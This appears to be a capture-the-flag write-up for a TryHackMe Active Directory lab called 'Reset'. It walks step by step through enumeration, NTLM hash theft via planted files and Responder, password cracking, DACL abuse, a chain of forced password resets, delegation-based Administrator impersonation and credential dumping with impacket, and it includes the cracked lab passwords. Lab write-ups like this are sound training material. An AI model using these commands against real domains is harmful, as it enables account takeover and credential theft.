secšŸ‘Øā€šŸ’»fortress:~#

Defensive By Offensive!.

View on GitHub

Reset | THM


Difficulty = Hard

image

My First ever CTF on Active Directory, Please make sure to leave feedbacks,If you have any doubts or questions šŸ˜„


Running our nmap scan we have

# Nmap 7.94SVN scan initiated Wed Jan 31 04:09:08 2024 as: nmap -p- -T4 -v --min-rate=1000 -sCV -oN nmap.txt -Pn 10.10.94.182
Nmap scan report for 10.10.94.182
Host is up (0.13s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-01-31 03:11:19Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: thm.corp0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: thm.corp0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2024-01-31T03:12:53+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=HayStack.thm.corp
| Issuer: commonName=HayStack.thm.corp
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-01-25T21:01:31
| Not valid after:  2024-07-26T21:01:31
| MD5:   1593:b46f:8770:a73a:9649:f3ec:e9ad:c968
|_SHA-1: 9d45:4568:8ee5:2758:e3cc:26ff:e0ca:23db:5ae6:017e
| rdp-ntlm-info: 
|   Target_Name: THM
|   NetBIOS_Domain_Name: THM
|   NetBIOS_Computer_Name: HAYSTACK
|   DNS_Domain_Name: thm.corp
|   DNS_Computer_Name: HayStack.thm.corp
|   DNS_Tree_Name: thm.corp
|   Product_Version: 10.0.17763
|_  System_Time: 2024-01-31T03:12:13+00:00
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
7680/tcp  open  tcpwrapped
9389/tcp  open  mc-nmf        .NET Message Framing
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49671/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  msrpc         Microsoft Windows RPC
49699/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: HAYSTACK; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2024-01-31T03:12:17
|_  start_date: N/A

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jan 31 04:12:57 2024 -- 1 IP address (1 host up) scanned in 229.63 seconds

RPC Enumeration (135)

DNS Enumeration (53)

SMB Enumeration (139/445)

smbclient -L \\\\10.10.94.182\\
smbclient \\\\10.10.94.182\\Data
put <location_of_any_file>

git clone https://github.com/Greenwolf/ntlm_theft
pip3 install xlsxwriter

FootHold

cd ntlm_theft
python3 ntlm_theft.py -g all -s <ATTACKER-IP> -f test


# -g:Ā generate. Here, we specify the file types (for related attacks) to generate

# -s:Ā The IP address of our Kali machine, In this case (tun0)

# -f:Ā filename

sudo responder -I tun0

john --format=netntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

automate:Passw0rd1

evil-winrm -i 10.10.94.182 -u automate -p <PASSWORD>

bloodhound-python -ns 10.10.94.182 --dns-tcp -d THM.CORP -u <username> -p <password> -d domain.local -c all --zip

impacket-GetNPUsers -request -format john -no-pass thm.corp/ERNESTO_SILVA

marlboro(1985):TABATHA_BRITT@THM.CORP

looks like TABATHA_BRITT can also do the job

Got same access denied error and i couldn’t load tools, even using dacledit.py gave me alot of errors, Here are 2 resource to help if you wanna go down this path though -:

  1. https://www.adamcouch.co.uk/dacl-trouble-genericall-on-ous/
  2. Youtube_Installing_dacledit.py_In_Kali_Linux
./dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'CECILE_WONG' -target-dn 'OU=SERVICEACCOUNTS,OU=FSR,OU=TIER 2,DC=THM,DC=CORP' HAYSTACK.THM.CORP/TABATHA_BRITT:'marlboro(1985)'

CIFS - Common Internet File System is used for file sharing that allows delegation of users to shares.

Exploit

net rpc password "SHAWNA_BRAY" "newP@ssword2022" -U "THM.CORP"/"TABATHA_BRITT"%"marlboro(1985)" -S "HayStack.thm.corp"
net rpc password "CRUZ_HALL" "newP@ssword2022" -U "THM.CORP"/"SHAWNA_BRAY"%"newP@ssword2022" -S "HayStack.thm.corp"

net rpc password "DARLA_WINTERS" "newP@ssword2022" -U "THM.CORP"/"CRUZ_HALL"%"newP@ssword2022" -S "HayStack.thm.corp"

xfreerdp /v:HayStack.thm.corp /u:DARLA_WINTERS /p:'newP@ssword2022'

  1. https://wadcoms.github.io/wadcoms/Impacket-getST-Creds/
  2. https://blog.redxorblue.com/2019/12/no-shells-required-using-impacket-to.html
impacket-getST -spn cifs/HayStack.thm.corp -dc-ip 10.10.200.9 -impersonate Administrator thm.corp/DARLA_WINTERS:'newP@ssword2022'

export KRB5CCNAME=Administrator.ccache

impacket-secretsdump -k -no-pass HayStack.thm.corp

Arigatou gozaimasu 😊